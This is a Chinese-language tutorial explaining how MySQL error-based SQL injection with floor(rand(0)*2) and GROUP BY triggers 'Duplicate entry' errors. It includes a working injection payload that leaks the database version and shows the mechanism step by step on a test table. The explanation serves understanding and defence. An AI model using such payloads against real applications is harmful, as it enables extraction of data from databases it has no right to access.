【SQL注入】MySQL Duplicate entry报错注入原理

很常用的一个SQL报错注入语句:

mysql> select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select count(*) from information_schema.tables group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'
mysql> select host from user where user = 'root' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.731' for key 'group_key'

这里我新建一张表测试:

mysql> create table test (name varchar(50));
Query OK, 0 rows affected (0.01 sec)

插入第一条数据,没有报错。

mysql> insert into test set name = 'vincent';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 1 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,还是没有报错。

mysql> insert into test set name = 'tom';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.00 sec)

再插入一条数据,执行SQL发现报错了。

mysql> insert into test set name = 'gary';
Query OK, 1 row affected (0.00 sec)

mysql> select count(*) from test group by floor(rand(0)*2);
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'

也就是数据库中有三条及以上数据的时候才会报错。


这里我们先来测试一下floor(rand(0)*2)

mysql> select floor(rand(0)*2) from test;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
+------------------+
9 rows in set (0.00 sec)

多次测试发现这个查询结果是固定的,即结果就是0 1 1 0 1 1 ….. 其实这个报错就是由于这个固定的数据导致的。


然后说一下count和group的虚拟表

mysql> select * from test;
+---------+
| name |
+---------+
| vincent |
| tom |
| gary |
| gary |
| gary |
| gary |
| tom |
| tom |
| gary |
+---------+
9 rows in set (0.00 sec)
mysql> select name,count(*) from test group by name ;
+---------+----------+
| name | count(*) |
+---------+----------+
| gary | 5 |
| tom | 3 |
| vincent | 1 |
+---------+----------+
3 rows in set (0.00 sec)

这里实际上会创建一张虚拟表,有key和value两个字段,其中key相当于这里的name,不可重复,相当于主键,而value是一个累加的值。
开始查询数据,取数据库数据,然后查看虚拟表存在不,不存在则插入新记录,存在则count(*)字段直接加1。
这里造成报错的一个最主要原因是在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在配合之前我们说到的0 1 1 0 1 1这个固定结果就导致了报错,具体过程如下:
1)查看前先创建了虚表。
2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算),查询虚拟表,发现0的键值不存在,则floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图:
key value
1     1
3)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算),查询虚表,发现1的键值存在,所以floor(rand(0)*2)不会被计算第二次,直接count(*)加1,第二条记录查询完毕,结果如下:
key value
1     2
4)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算),查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,作为虚表的主键,其值为1(第5次计算),然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。
5)整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要3条数据,使用该语句才会报错的原因。


参考文章:
https://xianzhi.aliyun.com/forum/read/767.html